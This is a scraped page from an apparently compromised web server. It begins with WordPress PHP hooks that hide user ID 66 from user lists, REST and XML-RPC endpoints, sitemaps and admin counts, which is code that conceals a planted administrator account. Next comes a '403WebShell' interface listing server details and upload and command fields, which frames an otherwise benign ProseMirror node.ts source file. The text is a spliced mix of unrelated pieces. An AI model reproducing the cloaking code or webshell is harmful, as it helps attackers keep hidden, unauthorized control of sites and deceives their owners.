add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/jungly/node_modules/prosemirror-model/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/jungly/node_modules/prosemirror-model/src/node.ts
import {Fragment} from "./fragment"
import {Mark} from "./mark"
import {Schema, NodeType, Attrs, MarkType} from "./schema"
import {Slice, replace} from "./replace"
import {ResolvedPos} from "./resolvedpos"
import {compareDeep} from "./comparedeep"

const emptyAttrs: Attrs = Object.create(null)

/// This class represents a node in the tree that makes up a
/// ProseMirror document. So a document is an instance of `Node`, with
/// children that are also instances of `Node`.
///
/// Nodes are persistent data structures. Instead of changing them, you
/// create new ones with the content you want. Old ones keep pointing
/// at the old document shape. This is made cheaper by sharing
/// structure between the old and new data as much as possible, which a
/// tree shape like this (without back pointers) makes easy.
///
/// **Do not** directly mutate the properties of a `Node` object. See
/// [the guide](/docs/guide/#doc) for more information.
export class Node {
  /// @internal
  constructor(
    /// The type of node that this is.
    readonly type: NodeType,
    /// An object mapping attribute names to values. The kind of
    /// attributes allowed and required are
    /// [determined](#model.NodeSpec.attrs) by the node type.
    readonly attrs: Attrs,
    // A fragment holding the node's children.
    content?: Fragment | null,
    /// The marks (things like whether it is emphasized or part of a
    /// link) applied to this node.
    readonly marks = Mark.none
  ) {
    this.content = content || Fragment.empty
  }

  /// A container holding the node's children.
  readonly content: Fragment

  /// The array of this node's child nodes.
  get children() { return this.content.content }

  /// For text nodes, this contains the node's text content.
  readonly text: string | undefined

  /// The size of this node, as defined by the integer-based [indexing
  /// scheme](/docs/guide/#doc.indexing). For text nodes, this is the
  /// amount of characters. For other leaf nodes, it is one. For
  /// non-leaf nodes, it is the size of the content plus two (the
  /// start and end token).
  get nodeSize(): number { return this.isLeaf ? 1 : 2 + this.content.size }

  /// The number of children that the node has.
  get childCount() { return this.content.childCount }

  /// Get the child node at the given index. Raises an error when the
  /// index is out of range.
  child(index: number) { return this.content.child(index) }

  /// Get the child node at the given index, if it exists.
  maybeChild(index: number) { return this.content.maybeChild(index) }

  /// Call `f` for every child node, passing the node, its offset
  /// into this parent node, and its index.
  forEach(f: (node: Node, offset: number, index: number) => void) { this.content.forEach(f) }

  /// Invoke a callback for all descendant nodes recursively between
  /// the given two positions that are relative to start of this
  /// node's content. The callback is invoked with the node, its
  /// position relative to the original node (method receiver), 
  /// its parent node, and its child index. When the callback returns
  /// false for a given node, that node's children will not be
  /// recursed over. The last parameter can be used to specify a 
  /// starting position to count from.
  nodesBetween(from: number, to: number,
               f: (node: Node, pos: number, parent: Node | null, index: number) => void | boolean,
               startPos = 0) {
    this.content.nodesBetween(from, to, f, startPos, this)
  }

  /// Call the given callback for every descendant node. Doesn't
  /// descend into a node when the callback returns `false`.
  descendants(f: (node: Node, pos: number, parent: Node | null, index: number) => void | boolean) {
    this.nodesBetween(0, this.content.size, f)
  }

  /// Concatenates all the text nodes found in this fragment and its
  /// children.
  get textContent() {
    return (this.isLeaf && this.type.spec.leafText)
      ? this.type.spec.leafText(this)
      : this.textBetween(0, this.content.size, "")
  }

  /// Get all text between positions `from` and `to`. When
  /// `blockSeparator` is given, it will be inserted to separate text
  /// from different block nodes. If `leafText` is given, it'll be
  /// inserted for every non-text leaf node encountered, otherwise
  /// [`leafText`](#model.NodeSpec.leafText) will be used.
  textBetween(from: number, to: number, blockSeparator?: string | null,
              leafText?: null | string | ((leafNode: Node) => string)) {
    return this.content.textBetween(from, to, blockSeparator, leafText)
  }

  /// Returns this node's first child, or `null` if there are no
  /// children.
  get firstChild(): Node | null { return this.content.firstChild }

  /// Returns this node's last child, or `null` if there are no
  /// children.
  get lastChild(): Node | null { return this.content.lastChild }

  /// Test whether two nodes represent the same piece of document.
  eq(other: Node) {
    return this == other || (this.sameMarkup(other) && this.content.eq(other.content))
  }

  /// Compare the markup (type, attributes, and marks) of this node to
  /// those of another. Returns `true` if both have the same markup.
  sameMarkup(other: Node) {
    return this.hasMarkup(other.type, other.attrs, other.marks)
  }

  /// Check whether this node's markup correspond to the given type,
  /// attributes, and marks.
  hasMarkup(type: NodeType, attrs?: Attrs | null, marks?: readonly Mark[]): boolean {
    return this.type == type &&
      compareDeep(this.attrs, attrs || type.defaultAttrs || emptyAttrs) &&
      Mark.sameSet(this.marks, marks || Mark.none)
  }

  /// Create a new node with the same markup as this node, containing
  /// the given content (or empty, if no content is given).
  copy(content: Fragment | null = null): Node {
    if (content == this.content) return this
    return new Node(this.type, this.attrs, content, this.marks)
  }

  /// Create a copy of this node, with the given set of marks instead
  /// of the node's own marks.
  mark(marks: readonly Mark[]): Node {
    return marks == this.marks ? this : new Node(this.type, this.attrs, this.content, marks)
  }

  /// Create a copy of this node with only the content between the
  /// given positions. If `to` is not given, it defaults to the end of
  /// the node.
  cut(from: number, to: number = this.content.size): Node {
    if (from == 0 && to == this.content.size) return this
    return this.copy(this.content.cut(from, to))
  }

  /// Cut out the part of the document between the given positions, and
  /// return it as a `Slice` object.
  slice(from: number, to: number = this.content.size, includeParents = false) {
    if (from == to) return Slice.empty

    let $from = this.resolve(from), $to = this.resolve(to)
    let depth = includeParents ? 0 : $from.sharedDepth(to)
    let start = $from.start(depth), node = $from.node(depth)
    let content = node.content.cut($from.pos - start, $to.pos - start)
    return new Slice(content, $from.depth - depth, $to.depth - depth)
  }

  /// Replace the part of the document between the given positions with
  /// the given slice. The slice must 'fit', meaning its open sides
  /// must be able to connect to the surrounding content, and its
  /// content nodes must be valid children for the node they are placed
  /// into. If any of this is violated, an error of type
  /// [`ReplaceError`](#model.ReplaceError) is thrown.
  replace(from: number, to: number, slice: Slice) {
    return replace(this.resolve(from), this.resolve(to), slice)
  }

  /// Find the node directly after the given position.
  nodeAt(pos: number): Node | null {
    for (let node: Node | null = this;;) {
      let {index, offset} = node.content.findIndex(pos)
      node = node.maybeChild(index)
      if (!node) return null
      if (offset == pos || node.isText) return node
      pos -= offset + 1
    }
  }

  /// Find the (direct) child node after the given offset, if any,
  /// and return it along with its index and offset relative to this
  /// node.
  childAfter(pos: number): {node: Node | null, index: number, offset: number} {
    let {index, offset} = this.content.findIndex(pos)
    return {node: this.content.maybeChild(index), index, offset}
  }

  /// Find the (direct) child node before the given offset, if any,
  /// and return it along with its index and offset relative to this
  /// node.
  childBefore(pos: number): {node: Node | null, index: number, offset: number} {
    if (pos == 0) return {node: null, index: 0, offset: 0}
    let {index, offset} = this.content.findIndex(pos)
    if (offset < pos) return {node: this.content.child(index), index, offset}
    let node = this.content.child(index - 1)
    return {node, index: index - 1, offset: offset - node.nodeSize}
  }

  /// Resolve the given position in the document, returning an
  /// [object](#model.ResolvedPos) with information about its context.
  resolve(pos: number) { return ResolvedPos.resolveCached(this, pos) }

  /// @internal
  resolveNoCache(pos: number) { return ResolvedPos.resolve(this, pos) }

  /// Test whether a given mark or mark type occurs in this document
  /// between the two given positions.
  rangeHasMark(from: number, to: number, type: Mark | MarkType): boolean {
    let found = false
    if (to > from) this.nodesBetween(from, to, node => {
      if (type.isInSet(node.marks)) found = true
      return !found
    })
    return found
  }

  /// True when this is a block (non-inline node)
  get isBlock() { return this.type.isBlock }

  /// True when this is a textblock node, a block node with inline
  /// content.
  get isTextblock() { return this.type.isTextblock }

  /// True when this node allows inline content.
  get inlineContent() { return this.type.inlineContent }

  /// True when this is an inline node (a text node or a node that can
  /// appear among text).
  get isInline() { return this.type.isInline }

  /// True when this is a text node.
  get isText() { return this.type.isText }

  /// True when this is a leaf node.
  get isLeaf() { return this.type.isLeaf }

  /// True when this is an atom, i.e. when it does not have directly
  /// editable content. This is usually the same as `isLeaf`, but can
  /// be configured with the [`atom` property](#model.NodeSpec.atom)
  /// on a node's spec (typically used when the node is displayed as
  /// an uneditable [node view](#view.NodeView)).
  get isAtom() { return this.type.isAtom }

  /// Return a string representation of this node for debugging
  /// purposes.
  toString(): string {
    if (this.type.spec.toDebugString) return this.type.spec.toDebugString(this)
    let name = this.type.name
    if (this.content.size)
      name += "(" + this.content.toStringInner() + ")"
    return wrapMarks(this.marks, name)
  }

  /// Get the content match in this node at the given index.
  contentMatchAt(index: number) {
    let match = this.type.contentMatch.matchFragment(this.content, 0, index)
    if (!match) throw new Error("Called contentMatchAt on a node with invalid content")
    return match
  }

  /// Test whether replacing the range between `from` and `to` (by
  /// child index) with the given replacement fragment (which defaults
  /// to the empty fragment) would leave the node's content valid. You
  /// can optionally pass `start` and `end` indices into the
  /// replacement fragment.
  canReplace(from: number, to: number, replacement = Fragment.empty, start = 0, end = replacement.childCount) {
    let one = this.contentMatchAt(from).matchFragment(replacement, start, end)
    let two = one && one.matchFragment(this.content, to)
    if (!two || !two.validEnd) return false
    for (let i = start; i < end; i++) if (!this.type.allowsMarks(replacement.child(i).marks)) return false
    return true
  }

  /// Test whether replacing the range `from` to `to` (by index) with
  /// a node of the given type would leave the node's content valid.
  canReplaceWith(from: number, to: number, type: NodeType, marks?: readonly Mark[]) {
    if (marks && !this.type.allowsMarks(marks)) return false
    let start = this.contentMatchAt(from).matchType(type)
    let end = start && start.matchFragment(this.content, to)
    return end ? end.validEnd : false
  }

  /// Test whether the given node's content could be appended to this
  /// node. If that node is empty, this will only return true if there
  /// is at least one node type that can appear in both nodes (to avoid
  /// merging completely incompatible nodes).
  canAppend(other: Node) {
    if (other.content.size) return this.canReplace(this.childCount, this.childCount, other.content)
    else return this.type.compatibleContent(other.type)
  }

  /// Check whether this node and its descendants conform to the
  /// schema, and raise an exception when they do not.
  check() {
    this.type.checkContent(this.content)
    this.type.checkAttrs(this.attrs)
    let copy = Mark.none
    for (let i = 0; i < this.marks.length; i++) {
      let mark = this.marks[i]
      mark.type.checkAttrs(mark.attrs)
      copy = mark.addToSet(copy)
    }
    if (!Mark.sameSet(copy, this.marks))
      throw new RangeError(`Invalid collection of marks for node ${this.type.name}: ${this.marks.map(m => m.type.name)}`)
    this.content.forEach(node => node.check())
  }

  /// Return a JSON-serializeable representation of this node.
  toJSON(): any {
    let obj: any = {type: this.type.name}
    for (let _ in this.attrs) {
      obj.attrs = this.attrs
      break
    }
    if (this.content.size)
      obj.content = this.content.toJSON()
    if (this.marks.length)
      obj.marks = this.marks.map(n => n.toJSON())
    return obj
  }

  /// Deserialize a node from its JSON representation.
  static fromJSON(schema: Schema, json: any): Node {
    if (!json) throw new RangeError("Invalid input for Node.fromJSON")
    let marks: Mark[] | undefined = undefined
    if (json.marks) {
      if (!Array.isArray(json.marks)) throw new RangeError("Invalid mark data for Node.fromJSON")
      marks = json.marks.map(schema.markFromJSON)
    }
    if (json.type == "text") {
      if (typeof json.text != "string") throw new RangeError("Invalid text node in JSON")
      return schema.text(json.text, marks)
    }
    let content = Fragment.fromJSON(schema, json.content)
    let node = schema.nodeType(json.type).create(json.attrs, content, marks)
    node.type.checkAttrs(node.attrs)
    return node
  }
}

;(Node.prototype as any).text = undefined

export class TextNode extends Node {
  readonly text: string

  /// @internal
  constructor(type: NodeType, attrs: Attrs, content: string, marks?: readonly Mark[]) {
    super(type, attrs, null, marks)
    if (!content) throw new RangeError("Empty text nodes are not allowed")
    this.text = content
  }

  toString() {
    if (this.type.spec.toDebugString) return this.type.spec.toDebugString(this)
    return wrapMarks(this.marks, JSON.stringify(this.text))
  }

  get textContent() { return this.text }

  textBetween(from: number, to: number) { return this.text.slice(from, to) }

  get nodeSize() { return this.text.length }

  mark(marks: readonly Mark[]) {
    return marks == this.marks ? this : new TextNode(this.type, this.attrs, this.text, marks)
  }

  withText(text: string) {
    if (text == this.text) return this
    return new TextNode(this.type, this.attrs, text, this.marks)
  }

  cut(from = 0, to = this.text.length) {
    if (from == 0 && to == this.text.length) return this
    return this.withText(this.text.slice(from, to))
  }

  eq(other: Node) {
    return this.sameMarkup(other) && this.text == other.text
  }

  toJSON() {
    let base = super.toJSON()
    base.text = this.text
    return base
  }
}

function wrapMarks(marks: readonly Mark[], str: string) {
  for (let i = marks.length - 1; i >= 0; i--)
    str = marks[i].type.name + "(" + str + ")"
  return str
}

Youez - 2016 - github.com/yon3zu
LinuXploit